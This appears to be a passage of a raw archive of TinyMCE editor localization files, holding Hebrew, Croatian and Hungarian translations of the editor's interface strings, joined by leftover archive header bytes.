"Align left": "\u05d9\u05d9\u05e9\u05e8
\u05dc\u05e9\u05de\u05d0\u05dc",
"Visual aids": "\u05e2\u05d6\u05e8\u05d9\u05dd
\u05d7\u05d6\u05d5\u05ea\u05d9\u05d9\u05dd",
"Lower Greek": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea
\u05d9\u05d5\u05d5\u05e0\u05d9\u05d5\u05ea
\u05e7\u05d8\u05e0\u05d5\u05ea",
"Square": "\u05e8\u05d9\u05d1\u05d5\u05e2",
"Default": "\u05d1\u05e8\u05d9\u05e8\u05ea
\u05de\u05d7\u05d3\u05dc",
"Lower Alpha": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea
\u05d0\u05e0\u05d2\u05dc\u05d9\u05d5\u05ea
\u05e7\u05d8\u05e0\u05d5\u05ea",
"Circle": "\u05e2\u05d9\u05d2\u05d5\u05dc",
"Disc": "\u05d7\u05d9\u05e9\u05d5\u05e7",
"Upper Alpha": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea
\u05d0\u05e0\u05d2\u05dc\u05d9\u05d5\u05ea
\u05d2\u05d3\u05d5\u05dc\u05d5\u05ea",
"Upper Roman": "\u05e1\u05e4\u05e8\u05d5\u05ea
\u05e8\u05d5\u05de\u05d9\u05d5\u05ea
\u05d2\u05d3\u05d5\u05dc\u05d5\u05ea",
"Lower Roman": "\u05e1\u05e4\u05e8\u05d5\u05ea
\u05e8\u05d5\u05de\u05d9\u05d5\u05ea \u05e7\u05d8\u05e0\u05d5\u05ea",
"Name": "\u05e9\u05dd",
"Anchor": "\u05de\u05e7\u05d5\u05dd
\u05e2\u05d9\u05d2\u05d5\u05df",
"You have unsaved changes are you sure you want to navigate
away?": "\u05d4\u05e9\u05d9\u05e0\u05d5\u05d9\u05d9\u05dd
\u05dc\u05d0 \u05e0\u05e9\u05de\u05e8\u05d5. \u05d1\u05d8\u05d5\u05d7
\u05e9\u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05e6\u05d0\u05ea
\u05de\u05d4\u05d3\u05e3?",
"Restore last draft": "\u05e9\u05d7\u05d6\u05e8
\u05d8\u05d9\u05d5\u05d8\u05d4 \u05d0\u05d7\u05e8\u05d5\u05e0\u05d4",
"Special character": "\u05ea\u05d5\u05d5\u05d9\u05dd
\u05de\u05d9\u05d5\u05d7\u05d3\u05d9\u05dd",
"Source code": "\u05e7\u05d5\u05d3
\u05de\u05e7\u05d5\u05e8",
"Right to left": "\u05de\u05d9\u05de\u05d9\u05df
\u05dc\u05e9\u05de\u05d0\u05dc",
"Left to right": "\u05de\u05e9\u05de\u05d0\u05dc
\u05dc\u05d9\u05de\u05d9\u05df",
"Emoticons": "\u05de\u05d7\u05d5\u05d5\u05ea",
"Robots": "\u05e8\u05d5\u05d1\u05d5\u05d8\u05d9\u05dd",
"Document properties":
"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9
\u05de\u05e1\u05de\u05da",
"Title": "\u05db\u05d5\u05ea\u05e8\u05ea",
"Keywords": "\u05de\u05d9\u05dc\u05d5\u05ea
\u05de\u05e4\u05ea\u05d7",
"Encoding": "\u05e7\u05d9\u05d3\u05d5\u05d3",
"Description": "\u05ea\u05d9\u05d0\u05d5\u05e8",
"Author": "\u05de\u05d7\u05d1\u05e8",
"Fullscreen": "\u05de\u05e1\u05da \u05de\u05dc\u05d0",
"Horizontal line": "\u05e7\u05d5
\u05d0\u05d5\u05e4\u05e7\u05d9",
"Horizontal space": "\u05de\u05e8\u05d5\u05d5\u05d7
\u05d0\u05d5\u05e4\u05e7\u05d9",
"Insert\/edit image":
"\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da
\u05ea\u05de\u05d5\u05e0\u05d4",
"General": "\u05db\u05dc\u05dc\u05d9",
"Advanced": "\u05de\u05ea\u05e7\u05d3\u05dd",
"Source": "\u05de\u05e7\u05d5\u05e8",
"Border": "\u05de\u05e1\u05d2\u05e8\u05ea",
"Constrain proportions": "\u05d4\u05d2\u05d1\u05dc\u05ea
\u05e4\u05e8\u05d5\u05e4\u05d5\u05e8\u05e6\u05d9\u05d5\u05ea",
"Vertical space": "\u05de\u05e8\u05d5\u05d5\u05d7
\u05d0\u05e0\u05db\u05d9",
"Image description": "\u05ea\u05d9\u05d0\u05d5\u05e8
\u05d4\u05ea\u05de\u05d5\u05e0\u05d4",
"Style": "\u05e1\u05d2\u05e0\u05d5\u05df",
"Dimensions": "\u05de\u05d9\u05de\u05d3\u05d9\u05dd",
"Insert image": "\u05d4\u05db\u05e0\u05e1
\u05ea\u05de\u05d5\u05e0\u05d4",
"Insert date\/time": "\u05d4\u05db\u05e0\u05e1
\u05ea\u05d0\u05e8\u05d9\u05da\/\u05e9\u05e2\u05d4",
"Remove link": "\u05de\u05d7\u05e7
\u05e7\u05d9\u05e9\u05d5\u05e8",
"Url": "\u05db\u05ea\u05d5\u05d1\u05ea
\u05e7\u05d9\u05e9\u05d5\u05e8",
"Text to display": "\u05d8\u05e7\u05e1\u05d8
\u05dc\u05d4\u05e6\u05d2\u05d4",
"Anchors": "\u05e2\u05d5\u05d2\u05e0\u05d9\u05dd",
"Insert link": "\u05d4\u05db\u05e0\u05e1
\u05e7\u05d9\u05e9\u05d5\u05e8",
"New window": "\u05d7\u05dc\u05d5\u05df
\u05d7\u05d3\u05e9",
"None": "\u05dc\u05dc\u05d0",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "\u05de\u05d8\u05e8\u05d4",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link":
"\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da
\u05e7\u05d9\u05e9\u05d5\u05e8",
"Insert\/edit video":
"\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da
\u05e1\u05e8\u05d8\u05d5\u05df",
"Poster": "\u05e4\u05d5\u05e1\u05d8\u05e8",
"Alternative source": "\u05de\u05e7\u05d5\u05e8
\u05de\u05e9\u05e0\u05d9",
"Paste your embed code below:": "\u05d4\u05d3\u05d1\u05e7
\u05e7\u05d5\u05d3 \u05d4\u05d8\u05de\u05e2\u05d4
\u05de\u05ea\u05d7\u05ea:",
"Insert video": "\u05d4\u05db\u05e0\u05e1
\u05e1\u05e8\u05d8\u05d5\u05df",
"Embed": "\u05d4\u05d8\u05de\u05e2",
"Nonbreaking space": "\u05e8\u05d5\u05d5\u05d7
(\u05dc\u05dc\u05d0 \u05e9\u05d1\u05d9\u05e8\u05ea
\u05e9\u05d5\u05e8\u05d4)",
"Page break": "\u05d3\u05e3 \u05d7\u05d3\u05e9",
"Paste as text": "\u05d4\u05d3\u05d1\u05e7
\u05db\u05d8\u05e7\u05e1\u05d8",
"Preview": "\u05ea\u05e6\u05d5\u05d2\u05d4
\u05de\u05e7\u05d3\u05d9\u05de\u05d4",
"Print": "\u05d4\u05d3\u05e4\u05e1",
"Save": "\u05e9\u05de\u05d9\u05e8\u05d4",
"Could not find the specified string.":
"\u05de\u05d7\u05e8\u05d5\u05d6\u05ea \u05dc\u05d0
\u05e0\u05de\u05e6\u05d0\u05d4",
"Replace": "\u05d4\u05d7\u05dc\u05e3",
"Next": "\u05d4\u05d1\u05d0",
"Whole words": "\u05de\u05d9\u05dc\u05d4
\u05e9\u05dc\u05de\u05d4",
"Find and replace": "\u05d7\u05e4\u05e9
\u05d5\u05d4\u05d7\u05dc\u05e3",
"Replace with": "\u05d4\u05d7\u05dc\u05e3 \u05d1",
"Find": "\u05d7\u05e4\u05e9",
"Replace all": "\u05d4\u05d7\u05dc\u05e3
\u05d4\u05db\u05dc",
"Match case": "\u05d4\u05d1\u05d7\u05df \u05d1\u05d9\u05df
\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05e7\u05d8\u05e0\u05d5\u05ea
\u05dc\u05d2\u05d3\u05d5\u05dc\u05d5\u05ea",
"Prev": "\u05e7\u05d5\u05d3\u05dd",
"Spellcheck": "\u05d1\u05d5\u05d3\u05e7
\u05d0\u05d9\u05d5\u05ea",
"Finish": "\u05e1\u05d9\u05d9\u05dd",
"Ignore all": "\u05d4\u05ea\u05e2\u05dc\u05dd
\u05de\u05d4\u05db\u05dc",
"Ignore": "\u05d4\u05ea\u05e2\u05dc\u05dd",
"Insert row before": "\u05d4\u05d5\u05e1\u05e3
\u05e9\u05d5\u05e8\u05d4 \u05dc\u05e4\u05e0\u05d9",
"Rows": "\u05e9\u05d5\u05e8\u05d5\u05ea",
"Height": "\u05d2\u05d5\u05d1\u05d4",
"Paste row after": "\u05d4\u05e2\u05ea\u05e7
\u05e9\u05d5\u05e8\u05d4 \u05d0\u05d7\u05e8\u05d9",
"Alignment": "\u05d9\u05d9\u05e9\u05d5\u05e8",
"Column group": "\u05e7\u05d9\u05d1\u05d5\u05e5
\u05e2\u05de\u05d5\u05d3\u05d5\u05ea",
"Row": "\u05e9\u05d5\u05e8\u05d4",
"Insert column before": "\u05d4\u05e2\u05ea\u05e7
\u05e2\u05de\u05d5\u05d3\u05d4 \u05dc\u05e4\u05e0\u05d9",
"Split cell": "\u05e4\u05e6\u05dc \u05ea\u05d0",
"Cell padding": "\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd
\u05e4\u05e0\u05d9\u05de\u05d9\u05d9\u05dd \u05dc\u05ea\u05d0",
"Cell spacing": "\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd
\u05d7\u05d9\u05e6\u05d5\u05e0\u05d9\u05dd \u05dc\u05ea\u05d0",
"Row type": "\u05e1\u05d5\u05d2
\u05e9\u05d5\u05e8\u05d4",
"Insert table": "\u05d4\u05db\u05e0\u05e1
\u05d8\u05d1\u05dc\u05d4",
"Body": "\u05d2\u05d5\u05e3
\u05d4\u05d8\u05d1\u05dc\u05d0",
"Caption": "\u05db\u05d9\u05ea\u05d5\u05d1",
"Footer": "\u05db\u05d5\u05ea\u05e8\u05ea
\u05ea\u05d7\u05ea\u05d5\u05e0\u05d4",
"Delete row": "\u05de\u05d7\u05e7
\u05e9\u05d5\u05e8\u05d4",
"Paste row before": "\u05d4\u05d3\u05d1\u05e7
\u05e9\u05d5\u05e8\u05d4 \u05dc\u05e4\u05e0\u05d9",
"Scope": "\u05d4\u05d9\u05e7\u05e3",
"Delete table": "\u05de\u05d7\u05e7
\u05d8\u05d1\u05dc\u05d4",
"Header cell": "\u05db\u05d5\u05ea\u05e8\u05ea
\u05dc\u05ea\u05d0",
"Column": "\u05e2\u05de\u05d5\u05d3\u05d4",
"Cell": "\u05ea\u05d0",
"Header": "\u05db\u05d5\u05ea\u05e8\u05ea",
"Cell type": "\u05e1\u05d5\u05d2 \u05ea\u05d0",
"Copy row": "\u05d4\u05e2\u05ea\u05e7
\u05e9\u05d5\u05e8\u05d4",
"Row properties":
"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9
\u05e9\u05d5\u05e8\u05d4",
"Table properties":
"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9
\u05d8\u05d1\u05dc\u05d4",
"Row group": "\u05e7\u05d9\u05d1\u05d5\u05e5
\u05e9\u05d5\u05e8\u05d5\u05ea",
"Right": "\u05d9\u05de\u05d9\u05df",
"Insert column after": "\u05d4\u05e2\u05ea\u05e7
\u05e2\u05de\u05d5\u05d3\u05d4 \u05d0\u05d7\u05e8\u05d9",
"Cols": "\u05e2\u05de\u05d5\u05d3\u05d5\u05ea",
"Insert row after": "\u05d4\u05d5\u05e1\u05e3
\u05e9\u05d5\u05e8\u05d4 \u05d0\u05d7\u05e8\u05d9",
"Width": "\u05e8\u05d5\u05d7\u05d1",
"Cell properties":
"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05ea\u05d0",
"Left": "\u05e9\u05de\u05d0\u05dc",
"Cut row": "\u05d2\u05d6\u05d5\u05e8
\u05e9\u05d5\u05e8\u05d4",
"Delete column": "\u05de\u05d7\u05e7
\u05e2\u05de\u05d5\u05d3\u05d4",
"Center": "\u05de\u05e8\u05db\u05d6",
"Merge cells": "\u05de\u05d6\u05d2
\u05ea\u05d0\u05d9\u05dd",
"Insert template": "\u05d4\u05db\u05e0\u05e1
\u05ea\u05d1\u05e0\u05d9\u05ea",
"Templates": "\u05ea\u05d1\u05e0\u05d9\u05d5\u05ea",
"Background color": "\u05e6\u05d1\u05e2
\u05e8\u05e7\u05e2",
"Text color": "\u05e6\u05d1\u05e2
\u05d4\u05db\u05ea\u05d1",
"Show blocks": "\u05d4\u05e6\u05d2
\u05ea\u05d9\u05d1\u05d5\u05ea",
"Show invisible characters": "\u05d4\u05e6\u05d2
\u05ea\u05d5\u05d5\u05d9\u05dd \u05dc\u05d0
\u05e0\u05e8\u05d0\u05d9\u05dd",
"Words: {0}": "\u05de\u05d9\u05dc\u05d9\u05dd: {0}",
"Insert": "\u05d4\u05d5\u05e1\u05e4\u05d4",
"File": "\u05e7\u05d5\u05d1\u05e5",
"Edit": "\u05e2\u05e8\u05d9\u05db\u05d4",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\u05ea\u05d9\u05d1\u05ea
\u05e2\u05e8\u05d9\u05db\u05d4 \u05d7\u05db\u05de\u05d4. \u05dc\u05d7\u05e5
Alt-F9 \u05dc\u05ea\u05e4\u05e8\u05d9\u05d8. Alt-F10
\u05dc\u05ea\u05e6\u05d5\u05d2\u05ea
\u05db\u05e4\u05ea\u05d5\u05e8\u05d9\u05dd, Alt-0
\u05dc\u05e2\u05d6\u05e8\u05d4",
"Tools": "\u05db\u05dc\u05d9\u05dd",
"View": "\u05ea\u05e6\u05d5\u05d2\u05d4",
"Table": "\u05d8\u05d1\u05dc\u05d4",
"Format": "\u05e4\u05d5\u05e8\u05de\u05d8",
"_dir": "rtl"
});PKR��[�F�ɼ�tinymce/langs/hr.jsnu�[���tinymce.addI18n('hr',{
"Cut": "Izre\u017ei",
"Heading 5": "Naslov 5",
"Header 2": "Zaglavlje 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Va\u0161 preglednik ne podr\u017eava direktan pristup
me\u0111uspremniku. Molimo Vas da umjesto toga koristite tipkovni\u010dke
kratice Ctrl+X\/C\/V.",
"Heading 4": "Naslov 4",
"Div": "DIV",
"Heading 2": "Naslov 2",
"Paste": "Zalijepi",
"Close": "Zatvori",
"Font Family": "Obitelj fonta",
"Pre": "PRE",
"Align right": "Poravnaj desno",
"New document": "Novi dokument",
"Blockquote": "BLOCKQUOTE",
"Numbered list": "Numerirana lista",
"Heading 1": "Naslov 1",
"Headings": "Naslovi",
"Increase indent": "Pove\u0107aj uvla\u010denje",
"Formats": "Formati",
"Headers": "Zaglavlja",
"Select all": "Ozna\u010di sve",
"Header 3": "Zaglavlje 3",
"Blocks": "Blokovi",
"Undo": "Poni\u0161ti",
"Strikethrough": "Crta kroz sredinu",
"Bullet list": "Lista",
"Header 1": "Zaglavlje 1",
"Superscript": "Eksponent",
"Clear formatting": "Ukloni oblikovanje",
"Font Sizes": "Veli\u010dine fonta",
"Subscript": "Indeks",
"Header 6": "Zaglavlje 6",
"Redo": "Vrati",
"Paragraph": "Paragraf",
"Ok": "U redu",
"Bold": "Podebljano",
"Code": "CODE oznaka",
"Italic": "Kurziv",
"Align center": "Poravnaj po sredini",
"Header 5": "Zaglavlje 5",
"Heading 6": "Naslov 6",
"Heading 3": "Naslov 3",
"Decrease indent": "Smanji uvla\u010denje",
"Header 4": "Zaglavlje 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Akcija zalijepi od sada
lijepi \u010disti tekst. Sadr\u017eaj \u0107e biti zaljepljen kao
\u010disti tekst sve dok ne isklju\u010dite ovu opciju.",
"Underline": "Crta ispod",
"Cancel": "Odustani",
"Justify": "Obostrano poravnanje",
"Inline": "Unutarnje",
"Copy": "Kopiraj",
"Align left": "Poravnaj lijevo",
"Visual aids": "Vizualna pomo\u0107",
"Lower Greek": "Mala gr\u010dka slova",
"Square": "Kvadrat",
"Default": "Zadano",
"Lower Alpha": "Mala slova",
"Circle": "Krug",
"Disc": "To\u010dka",
"Upper Alpha": "Velika slova",
"Upper Roman": "Velika rimska slova",
"Lower Roman": "Mala rimska slova",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id treba po\u010dinjati
slovom, a nakon toga slijede samo slova, brojevi, crtice, to\u010dke,
dvoto\u010dke i podvlake.",
"Name": "Ime",
"Anchor": "Sidro",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?": "Postoje ne pohranjene izmjene, jeste li sigurni da
\u017eelite oti\u0107i?",
"Restore last draft": "Vrati posljednju skicu",
"Special character": "Poseban znak",
"Source code": "Izvorni kod",
"Language": "Jezik",
"Insert\/Edit code sample": "Umetni\/Uredi primjer
k\u00f4da",
"B": "B",
"R": "R",
"G": "G",
"Color": "Boja",
"Right to left": "S desna na lijevo",
"Left to right": "S lijeva na desno",
"Emoticons": "Emotikoni",
"Robots": "Roboti pretra\u017eiva\u010da",
"Document properties": "Svojstva dokumenta",
"Title": "Naslov",
"Keywords": "Klju\u010dne rije\u010di",
"Encoding": "Kodna stranica",
"Description": "Opis",
"Author": "Autor",
"Fullscreen": "Cijeli ekran",
"Horizontal line": "Horizontalna linija",
"Horizontal space": "Horizontalan razmak",
"Insert\/edit image": "Umetni\/izmijeni sliku",
"General": "Op\u0107enito",
"Advanced": "Napredno",
"Source": "Izvor",
"Border": "Rub",
"Constrain proportions": "Zadr\u017ei proporcije",
"Vertical space": "Okomit razmak",
"Image description": "Opis slike",
"Style": "Stil",
"Dimensions": "Dimenzije",
"Insert image": "Umetni sliku",
"Image": "Slika",
"Zoom in": "Pove\u0107aj",
"Contrast": "Kontrast",
"Back": "Natrag",
"Gamma": "Gamma",
"Flip horizontally": "Obrni horizontalno",
"Resize": "Promjeni veli\u010dinu",
"Sharpen": "Izo\u0161travanje",
"Zoom out": "Smanji",
"Image options": "Opcije slike",
"Apply": "Primijeni",
"Brightness": "Svjetlina",
"Rotate clockwise": "Rotiraj desno",
"Rotate counterclockwise": "Rotiraj lijevo",
"Edit image": "Uredi sliku",
"Color levels": "Razine boje",
"Crop": "Obre\u017ei",
"Orientation": "Orijentacija",
"Flip vertically": "Obrni vertikalno",
"Invert": "Invertiraj",
"Date\/time": "Datum\/vrijeme",
"Insert date\/time": "Umetni datum\/vrijeme",
"Remove link": "Ukloni poveznicu",
"Url": "Url",
"Text to display": "Tekst za prikaz",
"Anchors": "Kra\u0107e poveznice",
"Insert link": "Umetni poveznicu",
"Link": "Link",
"New window": "Novi prozor",
"None": "Ni\u0161ta",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Izgleda da je URL koji ste
upisali vanjski link. \u017delite li dodati obavezan http:\/\/
prefiks?",
"Paste or type a link": "Zalijepi ili upi\u0161i link",
"Target": "Meta",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Izgleda da je URL koji ste
upisali e-mail adresa. \u017delite li dodati obavezan mailto:
prefiks?",
"Insert\/edit link": "Umetni\/izmijeni poveznicu",
"Insert\/edit video": "Umetni\/izmijeni video",
"Media": "Media",
"Alternative source": "Alternativni izvor",
"Paste your embed code below:": "Umetnite va\u0161 kod za
ugradnju ispod:",
"Insert video": "Umetni video",
"Poster": "Poster",
"Insert\/edit media": "Umetni\/uredi mediju",
"Embed": "Ugradi",
"Nonbreaking space": "Neprekidaju\u0107i razmak",
"Page break": "Prijelom stranice",
"Paste as text": "Zalijepi kao tekst",
"Preview": "Pregled",
"Print": "Ispis",
"Save": "Spremi",
"Could not find the specified string.": "Tra\u017eeni tekst
nije prona\u0111en",
"Replace": "Zamijeni",
"Next": "Slijede\u0107i",
"Whole words": "Cijele rije\u010di",
"Find and replace": "Prona\u0111i i zamijeni",
"Replace with": "Zamijeni s",
"Find": "Tra\u017ei",
"Replace all": "Zamijeni sve",
"Match case": "Pazi na mala i velika slova",
"Prev": "Prethodni",
"Spellcheck": "Provjeri pravopis",
"Finish": "Zavr\u0161i",
"Ignore all": "Zanemari sve",
"Ignore": "Zanemari",
"Add to Dictionary": "Dodaj u rje\u010dnik",
"Insert row before": "Umetni redak prije",
"Rows": "Redci",
"Height": "Visina",
"Paste row after": "Zalijepi redak nakon",
"Alignment": "Poravnanje",
"Border color": "Boja ruba",
"Column group": "Grupirani stupci",
"Row": "Redak",
"Insert column before": "Umetni stupac prije",
"Split cell": "Razdvoji polja",
"Cell padding": "Razmak unutar polja",
"Cell spacing": "Razmak izme\u0111u polja",
"Row type": "Vrsta redka",
"Insert table": "Umetni tablicu",
"Body": "Sadr\u017eaj",
"Caption": "Natpis",
"Footer": "Podno\u017eje",
"Delete row": "Izbri\u0161i redak",
"Paste row before": "Zalijepi redak prije",
"Scope": "Doseg",
"Delete table": "Izbri\u0161i tablicu",
"H Align": "H Poravnavanje",
"Top": "Vrh",
"Header cell": "Polje zaglavlja",
"Column": "Stupac",
"Row group": "Grupirani redci",
"Cell": "Polje",
"Middle": "Sredina",
"Cell type": "Vrsta polja",
"Copy row": "Kopiraj redak",
"Row properties": "Svojstva redka",
"Table properties": "Svojstva tablice",
"Bottom": "Dno",
"V Align": "V Poravnavanje",
"Header": "Zaglavlje",
"Right": "Desno",
"Insert column after": "Umetni stupac nakon",
"Cols": "Stupci",
"Insert row after": "Umetni redak nakon",
"Width": "\u0160irina",
"Cell properties": "Svojstva polja",
"Left": "Lijevo",
"Cut row": "Izre\u017ei redak",
"Delete column": "Izbri\u0161i stupac",
"Center": "Sredina",
"Merge cells": "Spoji polja",
"Insert template": "Umetni predlo\u017eak",
"Templates": "Predlo\u0161ci",
"Background color": "Boja pozadine",
"Custom...": "Prilago\u0111eno...",
"Custom color": "Prilago\u0111ena boja",
"No color": "Bez boje",
"Text color": "Boja teksta",
"Table of Contents": "Sadr\u017eaj",
"Show blocks": "Prika\u017ei blokove",
"Show invisible characters": "Prika\u017ei nevidljive
znakove",
"Words: {0}": "Rije\u010di: {0}",
"Insert": "Umetni",
"File": "Datoteka",
"Edit": "Izmijeni",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Pritisni ALT-F9 za izbornik. Pritisni
ALT-F10 za alatnu traku. Pritisni ALT-0 za pomo\u0107",
"Tools": "Alati",
"View": "Pogled",
"Table": "Tablica",
"Format": "Oblikuj"
});PKR��[�y�ݙ'�'tinymce/langs/hu.jsnu�[���tinymce.addI18n('hu',{
"Cut": "Kiv\u00e1g\u00e1s",
"Heading 5": "Fejl\u00e9c 5",
"Header 2": "C\u00edmsor 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "A
b\u00f6ng\u00e9sz\u0151d nem t\u00e1mogatja a k\u00f6zvetlen
hozz\u00e1f\u00e9r\u00e9st a v\u00e1g\u00f3laphoz. K\u00e9rlek
haszn\u00e1ld a Ctrl+X\/C\/V billenty\u0171ket.",
"Heading 4": "Fejl\u00e9c 4",
"Div": "Div",
"Heading 2": "Fejl\u00e9c 2",
"Paste": "Beilleszt\u00e9s",
"Close": "Bez\u00e1r",
"Font Family": "Bet\u0171t\u00edpus",
"Pre": "El\u0151",
"Align right": "Jobbra igaz\u00edt",
"New document": "\u00daj dokumentum",
"Blockquote": "Id\u00e9zetblokk",
"Numbered list": "Sz\u00e1moz\u00e1s",
"Heading 1": "Fejl\u00e9c 1",
"Headings": "Fejl\u00e9cek",
"Increase indent": "Beh\u00faz\u00e1s
n\u00f6vel\u00e9se",
"Formats": "Form\u00e1tumok",
"Headers": "C\u00edmsorok",
"Select all": "Minden kijel\u00f6l\u00e9se",
"Header 3": "C\u00edmsor 3",
"Blocks": "Blokkok",
"Undo": "Visszavon\u00e1s",
"Strikethrough": "\u00c1th\u00fazott",
"Bullet list": "Felsorol\u00e1s",
"Header 1": "C\u00edmsor 1",
"Superscript": "Fels\u0151 index",
"Clear formatting": "Form\u00e1z\u00e1s
t\u00f6rl\u00e9se",
"Font Sizes": "Bet\u0171m\u00e9retek",
"Subscript": "Als\u00f3 index",
"Header 6": "C\u00edmsor 6",
"Redo": "Ism\u00e9t",
"Paragraph": "Bekezd\u00e9s",
"Ok": "Rendben",
"Bold": "F\u00e9lk\u00f6v\u00e9r",
"Code": "K\u00f3d",
"Italic": "D\u0151lt",
"Align center": "K\u00f6z\u00e9pre z\u00e1r",
"Header 5": "C\u00edmsor 5",
"Heading 6": "Fejl\u00e9c 6",
"Heading 3": "Fejl\u00e9c 3",
"Decrease indent": "Beh\u00faz\u00e1s
cs\u00f6kkent\u00e9se",
"Header 4": "C\u00edmsor 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Beilleszt\u00e9s
mostant\u00f3l egyszer\u0171 sz\u00f6veg m\u00f3dban. A tartalmak
mostant\u00f3l egyszer\u0171 sz\u00f6vegk\u00e9nt lesznek beillesztve,
am\u00edg nem kapcsolod ki ezt az opci\u00f3t.",
"Underline": "Al\u00e1h\u00fazott",
"Cancel": "M\u00e9gse",
"Justify": "Sorkiz\u00e1r\u00e1s",
"Inline": "Vonalon bel\u00fcl",
"Copy": "M\u00e1sol\u00e1s",
"Align left": "Balra igaz\u00edt",
"Visual aids": "Vizu\u00e1lis
seg\u00e9deszk\u00f6z\u00f6k",
"Lower Greek": "Kis g\u00f6r\u00f6g sz\u00e1m",
"Square": "N\u00e9gyzet",
"Default": "Alap\u00e9rtelmezett",
"Lower Alpha": "Kisbet\u0171",
"Circle": "K\u00f6r",
"Disc": "Pont",
"Upper Alpha": "Nagybet\u0171",
"Upper Roman": "Nagy r\u00f3mai sz\u00e1m",
"Lower Roman": "Kis r\u00f3mai sz\u00e1m",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Az azonos\u00edt\u00f3nak
bet\u0171vel kell kezd\u0151dnie, azut\u00e1n csak bet\u0171ket,
sz\u00e1mokat, gondolatjeleket, pontokat, kett\u0151spontokat vagy
al\u00e1h\u00faz\u00e1st tartalmazhat.",
"Name": "N\u00e9v",
"Anchor": "Horgony",
"Id": "Azonos\u00edt\u00f3",
"You have unsaved changes are you sure you want to navigate
away?": "Nem mentett m\u00f3dos\u00edt\u00e1said vannak, biztos
hogy el akarsz navig\u00e1lni?",
"Restore last draft": "Utols\u00f3 piszkozat
vissza\u00e1ll\u00edt\u00e1sa",
"Special character": "Speci\u00e1lis karakter",
"Source code": "Forr\u00e1sk\u00f3d",
"Language": "Nyelv",
"Insert\/Edit code sample": "K\u00f3dminta
besz\u00far\u00e1sa\/szerkeszt\u00e9se",
"B": "B",
"R": "R",
"G": "G",
"Color": "Sz\u00edn",
"Right to left": "Jobbr\u00f3l balra",
"Left to right": "Balr\u00f3l jobbra",
"Emoticons": "Vigyorok",
"Robots": "Robotok",
"Document properties": "Dokumentum tulajdons\u00e1gai",
"Title": "C\u00edm",
"Keywords": "Kulcsszavak",
"Encoding": "K\u00f3dol\u00e1s",
"Description": "Le\u00edr\u00e1s",
"Author": "Szerz\u0151",
"Fullscreen": "Teljes k\u00e9perny\u0151",
"Horizontal line": "V\u00edzszintes vonal",
"Horizontal space": "Horizont\u00e1lis hely",
"Insert\/edit image": "K\u00e9p
beilleszt\u00e9se\/szerkeszt\u00e9se",
"General": "\u00c1ltal\u00e1nos",
"Advanced": "Halad\u00f3",
"Source": "Forr\u00e1s",
"Border": "Szeg\u00e9ly",
"Constrain proportions": "M\u00e9retar\u00e1ny",
"Vertical space": "Vertik\u00e1lis hely",
"Image description": "K\u00e9p le\u00edr\u00e1sa",
"Style": "St\u00edlus",
"Dimensions": "M\u00e9retek",
"Insert image": "K\u00e9p besz\u00far\u00e1sa",
"Image": "K\u00e9p",
"Zoom in": "Nagy\u00edt\u00e1s",
"Contrast": "Kontraszt",
"Back": "Vissza",
"Gamma": "Gamma",
"Flip horizontally": "V\u00edzszintes
t\u00fckr\u00f6z\u00e9s",
"Resize": "\u00c1tm\u00e9retez\u00e9s",
"Sharpen": "\u00c9less\u00e9g",
"Zoom out": "Kicsiny\u00edt\u00e9s",
"Image options": "K\u00e9p be\u00e1ll\u00edt\u00e1sok",
"Apply": "Ment\u00e9s",
"Brightness": "F\u00e9nyer\u0151",
"Rotate clockwise": "Forgat\u00e1s az \u00f3ramutat\u00f3
j\u00e1r\u00e1s\u00e1val megegyez\u0151en",
"Rotate counterclockwise": "Forgat\u00e1s az
\u00f3ramutat\u00f3 j\u00e1r\u00e1s\u00e1val ellent\u00e9tesen",
"Edit image": "K\u00e9p szerkeszt\u00e9se",
"Color levels": "Sz\u00ednszint",
"Crop": "K\u00e9p v\u00e1g\u00e1s",
"Orientation": "K\u00e9p t\u00e1jol\u00e1s",
"Flip vertically": "F\u00fcgg\u0151leges
t\u00fckr\u00f6z\u00e9s",
"Invert": "Inverz k\u00e9p",
"Date\/time": "D\u00e1tum\/id\u0151",
"Insert date\/time": "D\u00e1tum\/id\u0151
beilleszt\u00e9se",
"Remove link": "Hivatkoz\u00e1s t\u00f6rl\u00e9se",
"Url": "Url",
"Text to display": "Megjelen\u0151 sz\u00f6veg",
"Anchors": "Horgonyok",
"Insert link": "Link beilleszt\u00e9se",
"Link": "Link",
"New window": "\u00daj ablak",
"None": "Nincs",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Az URL amit megadt\u00e1l
